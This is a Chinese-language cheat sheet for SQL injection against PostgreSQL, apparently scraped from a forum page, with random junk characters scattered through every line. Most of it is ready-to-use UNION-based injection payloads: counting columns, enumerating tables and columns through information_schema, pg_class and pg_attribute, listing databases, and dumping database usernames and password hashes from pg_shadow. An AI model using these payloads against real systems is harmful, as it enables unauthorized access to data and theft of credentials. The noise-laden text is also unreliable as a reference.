结合了MSSQL MySQL Oracle的一些特点0 c q, d% @$ W4 [! N; D* P( S, o
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
" _+ T/ g" {0 e# ?( A4 I连接符: %20 , + , /**/ 内置函数:
( G1 Q, j% N) y: t. }7 Dcurrent_database() //当前数据库名4 c" S3 u$ v; o0 G3 P
session_user //会话用户
1 `( c" f4 s1 ^9 Z1 [( M5 d$ _. qcurrent_user //当前数据库用户! C \$ J" _( s
user //当前用户
' |# K0 W4 q* Sversion() //数据库版本 Union注射:
8 s8 ?' u2 g2 ]! R& Z, k8 Aorder by n–+ \# z1 G7 ]: D; o4 E/ k5 E
and 1=2 union select null,null,null–) ?- Q9 f# }6 j' c k" i6 f
and 1=2 union select ‘beach’,null,null–4 v& [5 i* ~, e6 R
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):4 Q1 ~9 z# w' M( C% P. y
group_concat(table_name)
& p2 c9 p1 Q% U2 o8 V5 G0 Iand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n– u6 p2 \/ h, g; K' k
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
( F3 F1 a+ K$ J6 q2 q3 B(老版本) K" L( x- E- n% l3 {% ?- \' K
pg_class.oid对应pg_attribute.attrelid. x! d- Q9 L) l+ `( R
pg_class.relname表名
6 F0 l6 U }% B) V6 Wpg_attribute.attname字段名 select relname from pg_class获取表名8 Y* F' i5 t) c4 V' L
select oid from pg_class where 条件 获取参数0 [1 ~$ I+ y% {: c8 _9 v
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
" w, K( _- A& u X; `/ }; iand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表8 H, Z- S% f: U' c8 J) S
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
' Q6 S- A' I4 Q$ y由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名9 f- m7 G3 M2 W6 H) @; Y2 X/ T$ l
======================================================================, O" k2 x8 ]- Y- J _. p
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
' v# O9 A$ o5 d% k1 m+ A _and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |